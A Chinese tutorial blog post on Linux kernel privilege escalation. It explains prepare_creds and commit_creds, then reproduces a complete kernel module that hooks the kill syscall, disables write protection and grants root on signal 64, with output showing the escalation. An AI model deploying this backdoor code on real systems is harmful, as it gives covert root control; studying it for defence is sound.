• Linux 安全 - 内核提权


    前言

    在这篇文章:Linux 安全 - Credentials 介绍了 Task Credentials 相关的知识点,接下来给出一个内核编程提权的例程。

    一、简介

    内核模块提权主要借助于 prepare_creds 函数和 commit_creds 函数,简单代码示例如下:

    void set_root(void)
    {
        struct cred *root;
        root = prepare_creds();
    
        if (root == NULL)
            return;
    
        /* Set the credentials to root */
    
        commit_creds(root);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    struct cred {
    	kuid_t		uid;		/* real UID of the task */
    	kgid_t		gid;		/* real GID of the task */
    	kuid_t		suid;		/* saved UID of the task */
    	kgid_t		sgid;		/* saved GID of the task */
    	kuid_t		euid;		/* effective UID of the task */
    	kgid_t		egid;		/* effective GID of the task */
    	kuid_t		fsuid;		/* UID for VFS ops */
    	kgid_t		fsgid;		/* GID for VFS ops */
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在set_root函数中把struct cred 以上成员改为0。

    /* Whatever calls this function will have it's creds struct replaced
     * with root's */
    void set_root(void)
    {
        /* prepare_creds returns the current credentials of the process */
        struct cred *root;
        root = prepare_creds();
    
        if (root == NULL)
            return;
    
        /* Run through and set all the various *id's to 0 (root) */
        root->uid.val = root->gid.val = 0;
        root->euid.val = root->egid.val = 0;
        root->suid.val = root->sgid.val = 0;
        root->fsuid.val = root->fsgid.val = 0;
    
        /* Set the cred struct that we've modified to that of the calling process */
        commit_creds(root);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    1.1 prepare_creds

    static struct kmem_cache *cred_jar;
    
    • 1
    /**
     * prepare_creds - Prepare a new set of credentials for modification
     *
     * Prepare a new set of task credentials for modification.  A task's creds
     * shouldn't generally be modified directly, therefore this function is used to
     * prepare a new copy, which the caller then modifies and then commits by
     * calling commit_creds().
     *
     * Preparation involves making a copy of the objective creds for modification.
     *
     * Returns a pointer to the new creds-to-be if successful, NULL otherwise.
     *
     * Call commit_creds() or abort_creds() to clean up.
     */
    struct cred *prepare_creds(void)
    {
    	struct task_struct *task = current;
    	const struct cred *old;
    	struct cred *new;
    
    	validate_process_creds();
    
    	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    	if (!new)
    		return NULL;
    
    	kdebug("prepare_creds() alloc %p", new);
    
    	old = task->cred;
    	memcpy(new, old, sizeof(struct cred));
    
    	new->non_rcu = 0;
    	atomic_set(&new->usage, 1);
    	set_cred_subscribers(new, 0);
    	get_group_info(new->group_info);
    	get_uid(new->user);
    	get_user_ns(new->user_ns);
    
    #ifdef CONFIG_KEYS
    	key_get(new->session_keyring);
    	key_get(new->process_keyring);
    	key_get(new->thread_keyring);
    	key_get(new->request_key_auth);
    #endif
    
    #ifdef CONFIG_SECURITY
    	new->security = NULL;
    #endif
    
    	if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
    		goto error;
    	validate_creds(new);
    	return new;
    
    error:
    	abort_creds(new);
    	return NULL;
    }
    EXPORT_SYMBOL(prepare_creds);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59

    prepare_creds() 函数的目的是为修改准备一个新的任务凭证集。它设计为创建现有凭证的副本,以便调用者可以在不直接修改原始凭证的情况下修改副本。这确保了在使用 commit_creds() 提交之前,原始凭证保持不变。

    函数源码解析:
    (1)内存分配:该函数使用 kmem_cache_alloc() 为新凭证结构(new)分配内存。它利用了 cred_jar 内存缓存,这是一个预分配的凭证内存池。这有助于通过避免频繁的动态内存分配来提高性能。

    (2)复制现有凭证:函数使用 memcpy() 将现有凭证(old)的内容复制到新分配的凭证(new)中。这创建了一个初始的凭证副本,可以独立地进行修改。

    (3)设置凭证属性:在复制现有凭证之后,函数为新凭证设置各种属性。这些属性包括 non_rcu(设置为 0)、usage(设置为 1,表示对凭证的一个引用)以及与组信息、用户标识符和用户命名空间相关的其他字段。

    (4)密钥管理:如果内核配置选项 CONFIG_KEYS 已启用,函数调用 key_get() 来增加凭证结构中与密钥相关字段的引用计数。这确保了与凭证关联的密钥得到正确的计数,避免了过早释放。

    (5)安全模块集成:如果内核配置选项 CONFIG_SECURITY 已启用,新凭证的 security 字段将设置为 NULL。该字段通常用于存储与凭证关联的安全模块特定数据的引用。

    (6)安全模块钩子:函数调用安全模块提供的 security_prepare_creds() 钩子。这允许安全模块对新凭证执行任何必要的操作或验证。如果安全模块返回小于 0 的值,表示发生错误,函数跳转到 error 标签处处理错误并进行清理。

    (7)验证:在准备新凭证之后,函数调用 validate_creds() 来验证新凭证结构的完整性和一致性。

    (8)返回值:如果准备成功,函数返回新凭证的指针(new)。如果在准备过程中发生任何错误,函数调用 abort_creds() 释放已分配的内存,并返回 NULL。

    通过结合使用 prepare_creds() 和 commit_creds(),Linux 内核提供了一个安全的机制,在修改任务凭证时保持原始凭证不变,直到更改被提交。这是内核安全基础设施的重要组成部分,允许对系统内的访问权限和特权进行细粒度控制。

    1.2 commit_creds

    /**
     * commit_creds - Install new credentials upon the current task
     * @new: The credentials to be assigned
     *
     * Install a new set of credentials to the current task, using RCU to replace
     * the old set.  Both the objective and the subjective credentials pointers are
     * updated.  This function may not be called if the subjective credentials are
     * in an overridden state.
     *
     * This function eats the caller's reference to the new credentials.
     *
     * Always returns 0 thus allowing this function to be tail-called at the end
     * of, say, sys_setgid().
     */
    int commit_creds(struct cred *new)
    {
    	struct task_struct *task = current;
    	const struct cred *old = task->real_cred;
    
    	kdebug("commit_creds(%p{%d,%d})", new,
    	       atomic_read(&new->usage),
    	       read_cred_subscribers(new));
    
    	BUG_ON(task->cred != old);
    #ifdef CONFIG_DEBUG_CREDENTIALS
    	BUG_ON(read_cred_subscribers(old) < 2);
    	validate_creds(old);
    	validate_creds(new);
    #endif
    	BUG_ON(atomic_read(&new->usage) < 1);
    
    	get_cred(new); /* we will require a ref for the subj creds too */
    
    	/* dumpability changes */
    	if (!uid_eq(old->euid, new->euid) ||
    	    !gid_eq(old->egid, new->egid) ||
    	    !uid_eq(old->fsuid, new->fsuid) ||
    	    !gid_eq(old->fsgid, new->fsgid) ||
    	    !cred_cap_issubset(old, new)) {
    		if (task->mm)
    			set_dumpable(task->mm, suid_dumpable);
    		task->pdeath_signal = 0;
    		/*
    		 * If a task drops privileges and becomes nondumpable,
    		 * the dumpability change must become visible before
    		 * the credential change; otherwise, a __ptrace_may_access()
    		 * racing with this change may be able to attach to a task it
    		 * shouldn't be able to attach to (as if the task had dropped
    		 * privileges without becoming nondumpable).
    		 * Pairs with a read barrier in __ptrace_may_access().
    		 */
    		smp_wmb();
    	}
    
    	/* alter the thread keyring */
    	if (!uid_eq(new->fsuid, old->fsuid))
    		key_fsuid_changed(new);
    	if (!gid_eq(new->fsgid, old->fsgid))
    		key_fsgid_changed(new);
    
    	/* do it
    	 * RLIMIT_NPROC limits on user->processes have already been checked
    	 * in set_user().
    	 */
    	alter_cred_subscribers(new, 2);
    	if (new->user != old->user)
    		atomic_inc(&new->user->processes);
    	rcu_assign_pointer(task->real_cred, new);
    	rcu_assign_pointer(task->cred, new);
    	if (new->user != old->user)
    		atomic_dec(&old->user->processes);
    	alter_cred_subscribers(old, -2);
    
    	/* send notifications */
    	if (!uid_eq(new->uid,   old->uid)  ||
    	    !uid_eq(new->euid,  old->euid) ||
    	    !uid_eq(new->suid,  old->suid) ||
    	    !uid_eq(new->fsuid, old->fsuid))
    		proc_id_connector(task, PROC_EVENT_UID);
    
    	if (!gid_eq(new->gid,   old->gid)  ||
    	    !gid_eq(new->egid,  old->egid) ||
    	    !gid_eq(new->sgid,  old->sgid) ||
    	    !gid_eq(new->fsgid, old->fsgid))
    		proc_id_connector(task, PROC_EVENT_GID);
    
    	/* release the old obj and subj refs both */
    	put_cred(old);
    	put_cred(old);
    	return 0;
    }
    EXPORT_SYMBOL(commit_creds);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92

    commit_creds() 负责处理进程的凭证安装。它确保凭证的一致性和完整性,更新各种属性,并在必要时发送通知。

    二、demo

    源代码来自于:https://github.com/chronolator/LKM-SetRootPerms

    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define LICENSE			"GPL"
    #define AUTHOR			"Chronolator"
    #define DESCRIPTION		"LKM example of setting process to root perms."
    #define VERSION			"0.01"
    
    /* Module meta data */
    MODULE_LICENSE(LICENSE);
    MODULE_AUTHOR(AUTHOR);
    MODULE_DESCRIPTION(DESCRIPTION);
    MODULE_VERSION(VERSION);
    
    /* Preprocessing Definitions */
    #define MODULE_NAME "SetRootPerms"
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
        #define KPROBE_LOOKUP 1
        #include 
        static struct kprobe kp = {
            .symbol_name = "kallsyms_lookup_name"
        };
    #endif
    
    /* Global Variables */
    unsigned long cr0;
    static unsigned long *__sys_call_table;
    
    /* Function Prototypes*/
    unsigned long *get_syscall_table_bf(void);
    #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        static inline void write_cr0_forced(unsigned long val);
    #endif
    static inline void SetProtectedMode(void);
    static inline void SetRealMode(void);
    void give_root(void);
    #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        typedef asmlinkage long (*t_syscall)(const struct pt_regs *regs);
        static t_syscall original_kill;
    
        //asmlinkage long (*original_kill)(const struct pt_regs *regs); //OLD
        asmlinkage long hacked_kill(const struct pt_regs *regs);
    #else
        typedef asmlinkage long (*original_kill_t)(pid_t, int);
        original_kill_t original_kill;
    
        //asmlinkage long (*original_kill)(int pid, int sig); //OLD
        asmlinkage long hacked_kill(int pid, int sig);
    #endif
    
    /* Get syscall table */
    unsigned long *get_syscall_table_bf(void) {
        unsigned long *syscall_table;
        #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
            #ifdef KPROBE_LOOKUP
                typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
                kallsyms_lookup_name_t kallsyms_lookup_name;
                register_kprobe(&kp);
                kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
                unregister_kprobe(&kp);
            #endif
            syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
            return syscall_table;
        #else
            unsigned long int i;
    
            for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) {
                syscall_table = (unsigned long *)i;
            if (syscall_table[__NR_close] == (unsigned long)sys_close)
                return syscall_table;
            }
            return NULL;
        #endif
    }
    
    /* Bypass write_cr0() restrictions by writing directly to the cr0 register */
    #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
    static inline void write_cr0_forced(unsigned long val) {
        unsigned long __force_order;
        asm volatile(
            "mov %0, %%cr0"
            : "+r"(val), "+m"(__force_order)
        );
    }
    #endif
    
    /* Set CPU to protected mode by modifying value stored in cr0 register */
    static inline void SetProtectedMode(void) {
    #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0);
    #else
        write_cr0(cr0);
    #endif
    }
    
    /* Set CPU to real mode by modifying value stored in cr0 register */
    static inline void SetRealMode(void) {
    #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0 & ~0x00010000);
    #else
        write_cr0(cr0 & ~0x00010000);
    #endif
    }
    
    /* Misc Functions */
    void give_root(void) {
    #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
        current->uid = current->gid = 0;
        current->euid = current->egid = 0;
        current->suid = current->sgid = 0;
        current->fsuid = current->fsgid = 0;
    #else
        struct cred *newcreds;
        newcreds = prepare_creds();
        if (newcreds == NULL)
            return;
        #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
            newcreds->uid.val = newcreds->gid.val = 0;
            newcreds->euid.val = newcreds->egid.val = 0;
            newcreds->suid.val = newcreds->sgid.val = 0;
            newcreds->fsuid.val = newcreds->fsgid.val = 0;
        #else
            newcreds->uid = newcreds->gid = 0;
            newcreds->euid = newcreds->egid = 0;
            newcreds->suid = newcreds->sgid = 0;
            newcreds->fsuid = newcreds->fsgid = 0;
        #endif
        commit_creds(newcreds);
    #endif
    }
    
    /* Hacked Syscalls */
    #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
    asmlinkage long hacked_kill(const struct pt_regs *regs) {
        printk(KERN_WARNING "%s module: Called syscall kill using new pt_regs", MODULE_NAME);
        
        pid_t pid = regs->di;
        int sig = regs->si;
    
        if(sig == 64) {
            printk(KERN_INFO "%s module: Giving root\n", MODULE_NAME);
            give_root();        
    
            return 0;
        }
        
        return (*original_kill)(regs);
    }
    #else
    asmlinkage long hacked_kill(pid_t pid, int sig) {
        printk(KERN_WARNING "%s module: Called syscall kill", MODULE_NAME);
    
        //struct task_struct *task;
        if(sig == 64) {
            printk(KERN_INFO "%s module: Giving root using old asmlinkage\n", MODULE_NAME);
            give_root(); 
    
            return 0;
        }
        
        return (*original_kill)(pid, sig);
    }
    #endif
    
    /* Init */
    static int __init run_init(void) {
        printk(KERN_INFO "%s module: Initializing module\n", MODULE_NAME);
        // Get syscall table 
        __sys_call_table = get_syscall_table_bf();
        if (!__sys_call_table)
            return -1;
    
        // Get the value in the cr0 register
        cr0 = read_cr0();
    
        // Set the actual syscalls to the "original" linked versions (save the actual in another variable)
        #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
            original_kill = (t_syscall)__sys_call_table[__NR_kill];
            //original_kill = (original_kill)__sys_call_table[__NR_kill]; //OLD
        #else
    	original_kill = (original_kill_t)__sys_call_table[__NR_kill];
            //original_kill = (void*)__sys_call_table[__NR_kill]; //OLD
        #endif
    
        // Set the syscalls to your modified versions
        SetRealMode();
        __sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
        SetProtectedMode();
    
        return 0;
    }
    
    /* Exit */
    static void __exit run_exit(void) {
        printk(KERN_INFO "%s module: Exiting module\n", MODULE_NAME);
    
        // Set the syscalls back to the "original" linked versions
        SetRealMode();
        __sys_call_table[__NR_kill] = (unsigned long)original_kill;
        SetProtectedMode();
    
        return;
    }
    
    module_init(run_init);
    module_exit(run_exit);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209

    测试结果:

    $ id
    uid=1000(yl) gid=1000(yl) 
    $ kill -64 0
    $ id
    uid=0(root) gid=0(root) 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    参考资料

    https://github.com/chronolator/LKM-SetRootPerms
    https://xcellerator.github.io/posts/linux_rootkits_03/

  • 相关阅读:
    jenkins 部署 vue 项目
    strimzi实战之一:简介和准备
    Java-内部类
    蓝桥杯每日一题2023.10.7
    java中的多线程
    自定义函数
    《C++ primer plus》精炼(OOP部分)——对象和类(8)
    计算机网络(七)——TCP(下)
    物联网开发笔记(10)- 使用Wokwi仿真micropython on ESP32开发板实现舵机控制
    Python——format格式输出
  • 原文地址:https://blog.csdn.net/weixin_45030965/article/details/133642895